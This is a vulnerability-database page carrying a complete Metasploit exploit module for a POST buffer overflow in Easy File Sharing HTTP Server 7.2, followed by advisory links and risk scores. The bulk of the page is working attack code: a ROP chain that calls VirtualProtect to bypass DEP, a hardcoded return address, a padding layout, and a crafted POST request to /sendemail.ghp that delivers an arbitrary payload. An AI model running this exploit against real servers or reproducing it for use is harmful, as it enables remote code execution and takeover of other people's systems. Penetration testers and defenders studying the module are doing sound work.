Easy File Sharing HTTP Server 7.2 POST Buffer Overflow
🗓️ 12 Jun 2017 00:00:00Reported by bl4ck h4ck3r, Marco Rivoli <[email protected]>Type 
metasploit🔗 www.rapid7.com👁 31 Views
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
 | The vulnerability of the web server for HTTP Easy File Sharing HTTP Server arises from the occurrence of operations outside the buffer in memory, allowing an attacker to execute arbitrary code. | 25 Nov 202500:00 | – | bdu_fstec |
 | CVE-2025-34096 | 29 May 201815:50 | – | circl |
 | EFS Easy File Sharing HTTP Server 缓冲区错误漏洞 | 10 Jul 202500:00 | – | cnnvd |
 | CVE-2025-34096 | 10 Jul 202519:15 | – | cve |
 | CVE-2025-34096 Easy File Sharing HTTP Server 7.2 Buffer Overflow via POST to /sendemail.ghp | 10 Jul 202519:15 | – | cvelist |
 | EUVD-2025-21030 | 3 Oct 202520:07 | – | euvd |
 | CVE-2025-34096 | 10 Jul 202520:15 | – | nvd |
 | Easy File Sharing Web Server <= 7.2 Multiple Vulnerabilities - Active Check | 19 Nov 201500:00 | – | openvas |
 | PT-2025-29138 · Unknown · Easy File Sharing Ftp Server | 10 Jul 202500:00 | – | ptsecurity |
 | CVE-2025-34096 | 12 Jul 202519:25 | – | redhatcve |
10
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
# include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Easy File Sharing HTTP Server 7.2 POST Buffer Overflow',
'Description' => %q{
This module exploits a POST buffer overflow in the Easy File Sharing FTP Server 7.2 software.
},
'Author' => [
'bl4ck h4ck3r', # POC
'Marco Rivoli <marco.rivoli.nvh[at]gmail.com>' # Metasploit
],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2025-34096' ],
[ 'EDB', '42186' ],
],
'Privileged' => true,
'Payload' => {
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
},
'Platform' => 'win',
'Targets' => [
[ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x1002280a } ],
],
'DefaultOptions' => {
'RPORT' => 80,
'EXITFUNC' => 'thread',
'ENCODER' => 'x86/alpha_mixed'
},
'DisclosureDate' => '2017-06-12',
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
end
def create_rop_chain
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
# 0x00000000, # [-] Unable to find gadget to put 00000201 into ebx
0x10015442, # POP EAX # RETN [ImageLoad.dll]
0xFFFFFDFE, # -202
0x100231d1, # NEG EAX # RETN [ImageLoad.dll]
0x1001da09, # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+C] # INC DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]| {PAGE_EXECUTE_READ}
0x1001a858, # RETN (ROP NOP) [ImageLoad.dll]
0x1001a858, # RETN (ROP NOP) [ImageLoad.dll]
0x10015442, # POP EAX # RETN [ImageLoad.dll]
0x1004de84, # &Writable location [ImageLoad.dll]
0x10015442, # POP EAX # RETN [ImageLoad.dll]
0x61c832d0, # ptr to &VirtualProtect() [IAT sqlite3.dll]
0x1002248c, # MOV EAX,DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]
0x61c0a798, # XCHG EAX,EDI # RETN [sqlite3.dll]
0x1001d626, # XOR ESI,ESI # RETN [ImageLoad.dll]
0x10021a3e, # ADD ESI,EDI # RETN 0x00 [ImageLoad.dll]
0x100218f9, # POP EBP # RETN [ImageLoad.dll]
0x61c24169, # & push esp # ret [sqlite3.dll]
0x10022c4c, # XOR EDX,EDX # RETN [ImageLoad.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x1001bd98, # POP ECX # RETN [ImageLoad.dll]
0x1004de84, # &Writable location [ImageLoad.dll]
0x61c373a4, # POP EDI # RETN [sqlite3.dll]
0x1001a858, # RETN (ROP NOP) [ImageLoad.dll]
0x10015442, # POP EAX # RETN [ImageLoad.dll]
0x90909090, # nop
0x100240c2, # PUSHAD # RETN [ImageLoad.dll]
].flatten.pack('V*')
return rop_gadgets
end
def exploit
sploit = rand_text_alpha_upper(2278)
rop_chain = create_rop_chain
sploit << rop_chain
sploit << "\x90" * 200
sploit << payload.encoded
sploit << rand_text_alpha_upper(1794 - 200 - payload.encoded.length - rop_chain.length)
sploit << [target.ret].pack('V')
request = "POST /sendemail.ghp HTTP/1.1\r\n\r\nEmail=#{sploit}&getPassword=Get+Password"
connect
sock.put(request)
handler
disconnect
end
end
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12 Jun 2017 00:00Current
8.8High risk
Vulners AI Score8.8
CVSS 49.3
EPSS0.01077
SSVC